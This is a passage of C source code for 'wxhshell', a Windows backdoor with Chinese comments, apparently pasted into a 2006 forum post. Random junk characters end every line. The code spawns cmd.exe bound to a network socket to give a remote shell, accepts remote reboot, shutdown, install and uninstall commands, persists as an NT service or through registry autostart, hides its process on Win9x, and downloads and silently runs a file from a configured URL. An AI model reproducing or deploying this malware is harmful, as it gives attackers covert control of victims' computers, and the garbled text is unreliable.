.d<W`%[  
    switch(cmd[0]) { S56]?M|[  
  "\%On >  
  // 帮助 [I*! lbt  
  case '?': { mB'3N;~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jdA ]2]  
    break; v-j3bB  
  } \K2*Q&>  
  // 安装 o89( h!  
  case 'i': { z9/G4^qF  
    if(Install()) qQ[b VD\*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Hi+Z}8  
    else ] ,etZ%z&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >`RRP}u=u  
    break; Ut@RGg+f8  
    } >H][.@LyR  
  // 卸载 eU+ {*YJg  
  case 'r': { 4vnUN  
    if(Uninstall()) j V3)2C}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rfb?f} j  
    else hS [SRa'.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #Il_J\#  
    break; PG%0yv%  
    } SuBeNA[&  
  // 显示 wxhshell 所在路径 IXLO>>`  
  case 'p': { EV M7Q>  
    char svExeFile[MAX_PATH]; NcS.49  
    strcpy(svExeFile,"\n\r"); ;Y9=!.Ak0y  
      strcat(svExeFile,ExeFile); ff? t[GS  
        send(wsh,svExeFile,strlen(svExeFile),0); :Sg&0Wj+#j  
    break; .>g1 $rj  
    } , $*IzL~  
  // 重启 +\ _{x/u1  
  case 'b': { eP1nUy=T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f7urJ'!V  
    if(Boot(REBOOT)) X?r48l??  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cV K7  
    else { /hWd/H]  
    closesocket(wsh); !\ND(  
    ExitThread(0); V)M1YZV{  
    } ]:]H:U]p  
    break; +]xFoH  
    } %hS|68pN6  
  // 关机 y8Xv~4qQW  
  case 'd': { 5i6 hp;=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >B -q@D  
    if(Boot(SHUTDOWN)) &Nl2s ey  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \5 pu|2u  
    else { Fe&qwq"  
    closesocket(wsh); +YY8h>hj  
    ExitThread(0); zR6siAV9  
    } pcS+o  
    break; @ T ;L$x  
    } >cMd\%^t  
  // 获取shell  P\m7 -  
  case 's': { LHCsk{3  
    CmdShell(wsh); 8ip7^  
    closesocket(wsh); .Ce8L&cU  
    ExitThread(0); OWjJxORB  
    break; . v)mZp  
  } *V^ #ga#A  
  // 退出 &[R8Q|1 j  
  case 'x': { 8^^[XbH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8ovM\9qT  
    CloseIt(wsh); !cW[G/W8  
    break; k_|^kdWJ  
    } -cF'2Sfr  
  // 离开 W_M'.1 t  
  case 'q': { zoDZZ%{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [U =Uo*  
    closesocket(wsh); PaB!,<A  
    WSACleanup(); *4Fr&^M\  
    exit(1); -4#2/GXNO  
    break; j=+"Qz/hr_  
        } ^H'a4G3  
  } EpPf _ \o  
  } ^)yTBn,  
G* b2,9&F  
  // 提示信息 yBe d kj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \,UZX&ip  
} ;;s* Ohh  
  } ,8G{]X)  
Y(VJbm`  
  return; NmIHYN3  
} B6P|Z%E;D6  
^nK7i[yF.k  
// shell模块句柄 gYop--\14]  
int CmdShell(SOCKET sock) ]uL +&(cr  
{ Y$8JM  
STARTUPINFO si; t%1^Li  
ZeroMemory(&si,sizeof(si)); q> :$c0JY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j5$BK[p.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [`=LTBt  
PROCESS_INFORMATION ProcessInfo; #_  C  
char cmdline[]="cmd"; &fP XU*l4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~|Y>:M+0Z  
  return 0; Z(0@1l`Z-`  
} .y5,x\Pq(  
._:nw=Y0<}  
// 自身启动模式 g&/p*c_  
int StartFromService(void) f3*?MXxb16  
{ K!AAGj`  
typedef struct /(C~~XP)  
{ 7sNw  
  DWORD ExitStatus; 1Y xgR}7  
  DWORD PebBaseAddress; H&}ipaDO  
  DWORD AffinityMask; ^t "iX9  
  DWORD BasePriority; #<7O08 :  
  ULONG UniqueProcessId; o`,Qku k  
  ULONG InheritedFromUniqueProcessId; %i0?UpA  
}   PROCESS_BASIC_INFORMATION; 7B9`<{!h  
>?W[PQ5yx  
PROCNTQSIP NtQueryInformationProcess; &Bb<4R  
@+,pN6}g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; BfTcI)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /nx'Z0&+X  
:7N3N  
  HANDLE             hProcess; L *[K>iW  
  PROCESS_BASIC_INFORMATION pbi; wRNroQ  
=dP{Gh  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?ne_m:J[  
  if(NULL == hInst ) return 0; 2LY=D L7  
!{^\1QK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); oSb, :^Wl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >n5:1.g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xom<P+M!|  
{1 J&xoV"  
  if (!NtQueryInformationProcess) return 0; _#$9 y1bd  
bucR">_p  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7Ob*Yv=[  
  if(!hProcess) return 0; H%f:K2  
cvsz%:Vs  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z +2V4s=  
wgeNs9L  
  CloseHandle(hProcess); pj|pcv^  
Q'B6^%:<~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?@6b>='!  
if(hProcess==NULL) return 0; q(^Q3  
c/W=$3  
HMODULE hMod; em@EDMvI  
char procName[255]; jZfx Jm  
unsigned long cbNeeded; U$&hZ_A  
iGXI6`F"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `xS{0P{uj  
t-%Q`V=[  
  CloseHandle(hProcess); [V# r7a  
^S)TO}e  
if(strstr(procName,"services")) return 1; // 以服务启动 [(LV  
p 5u_1U0  
  return 0; // 注册表启动 )QKf7 [:  
} {C*\O)Gep  
u9-nt}hGYM  
// 主模块 6&v? )o  
int StartWxhshell(LPSTR lpCmdLine) }`_@'4:t  
{ 0O!cN_l|  
  SOCKET wsl; iyx>q!P  
BOOL val=TRUE; o(A|)c4k  
  int port=0; ;bu#8,  
  struct sockaddr_in door; 8Q`WB0E<|  
W\*-xf|"d  
  if(wscfg.ws_autoins) Install(); sE(HZR1  
8Ad606  
port=atoi(lpCmdLine); A!W0S  
d?idTcgs  
if(port<=0) port=wscfg.ws_port; m"tOe?  
zQy"m-Q  
  WSADATA data; :y]Omp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )+I.|5g  
ZBD;a;wx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R_P}~l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &Jc_Fc(M  
  door.sin_family = AF_INET; -XoPia2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pI`?(5iK6|  
  door.sin_port = htons(port); ~.Ik#At  
G* %t'jX9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |Q~cX!;  
closesocket(wsl); 6bc3 37b  
return 1; 1a0kfM$  
} RH0>ZZR  
c2l_$p  
  if(listen(wsl,2) == INVALID_SOCKET) { _hf4A8ak  
closesocket(wsl); Kz8:UG(  
return 1; "kMzmo=Pv5  
} -php6$|  
  Wxhshell(wsl); Ths_CKwgWY  
  WSACleanup();  /RZR}  
OY-w?'p?W  
return 0; F^aR+m  
I&c ~8Dw  
} )-rW&"{U  
U09.Y  
// 以NT服务方式启动 AZ|yX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,"-Rf<q/  
{ G%p~m%zIK  
DWORD   status = 0; &>WWzikB*  
  DWORD   specificError = 0xfffffff; "e3["'  
"tit\a6\(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \h<BDk*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 89}Y5#W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l2%bF8]z  
  serviceStatus.dwWin32ExitCode     = 0; Fh7'[>onw  
  serviceStatus.dwServiceSpecificExitCode = 0; eg+!*>GaX  
  serviceStatus.dwCheckPoint       = 0; "ceed)(:  
  serviceStatus.dwWaitHint       = 0; Yx'res4e  
?C0l~:j7D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dGfVZDsr]  
  if (hServiceStatusHandle==0) return; gxPx&Z6jF  
O^>jdl!TZ  
status = GetLastError(); _:n b&B  
  if (status!=NO_ERROR) Gm`}(;(A  
{ TOF '2&H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vh!v MB}}  
    serviceStatus.dwCheckPoint       = 0; wu<])&F  
    serviceStatus.dwWaitHint       = 0; Bc-yxjsw  
    serviceStatus.dwWin32ExitCode     = status; `?\tUO2_T  
    serviceStatus.dwServiceSpecificExitCode = specificError; {)f~#37  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fJ*:{48  
    return; 5M]z5}n/  
  } inPJ2uBD\^  
xynw8;Y ,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 38V3o`f  
  serviceStatus.dwCheckPoint       = 0; `;,Pb&W~  
  serviceStatus.dwWaitHint       = 0; NY$uq+Z>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g o5]<4`r  
} >>[/UFC)n  
M/D)".;  
// 处理NT服务事件,比如:启动、停止 y< R=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \ A1uhHP!  
{ ){s*n=KIO  
switch(fdwControl) <O?y-$~  
{ ;T]d M fO  
case SERVICE_CONTROL_STOP: =6FUNvP#8  
  serviceStatus.dwWin32ExitCode = 0; j83? m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gIWrlIV{9  
  serviceStatus.dwCheckPoint   = 0; IJOvnZ("A  
  serviceStatus.dwWaitHint     = 0; qpoV]#iW  
  { wo2@hav  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pi(-A  
  } r90+,aLM#?  
  return; 5/",<1  
case SERVICE_CONTROL_PAUSE: F+UG'4%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4!62/df  
  break; c97{Pu  
case SERVICE_CONTROL_CONTINUE: CDj~;$[B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; PW(\4Q\  
  break; )CPM7>  
case SERVICE_CONTROL_INTERROGATE: 7T``-:`[  
  break; RT/o$$  
}; t22;87&|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~8 H_u  
} +.B<Hd  
S 6,4PP  
// 标准应用程序主函数 dhg~$CVO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PupM/?57  
{ L(S'6z~_9  
mM.*b@d-  
// 获取操作系统版本 `cz2DR-"  
OsIsNt=GetOsVer(); &ad I (s~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @tohNO>  
<oKGD50#  
  // 从命令行安装 vgt]:$  
  if(strpbrk(lpCmdLine,"iI")) Install(); zIC;7 5#  
p?[Tm*r  
  // 下载执行文件 2=0DCF;Bv  
if(wscfg.ws_downexe) { M$4k;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e"]8T},  
  WinExec(wscfg.ws_filenam,SW_HIDE); W/z7"#  
} x_=n-lAF  
kNqS8R|  
if(!OsIsNt) { z't? ?6  
// 如果时win9x,隐藏进程并且设置为注册表启动 gXT9 r' k  
HideProc(); .xzEAu;  
StartWxhshell(lpCmdLine); 'oNO-)p\#!  
} |@?%Ct  
else _$NIp `d  
  if(StartFromService()) q>f<u&  
  // 以服务方式启动 (z7vl~D  
  StartServiceCtrlDispatcher(DispatchTable); rt3qdk5U  
else # ?1Sm/5k`  
  // 普通方式启动 [P zv4+  
  StartWxhshell(lpCmdLine); }<@j'Ok}.  
uJx"W  
return 0; n8=5-7UT  
}
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只看该作者 1 发表于: 2006-10-10
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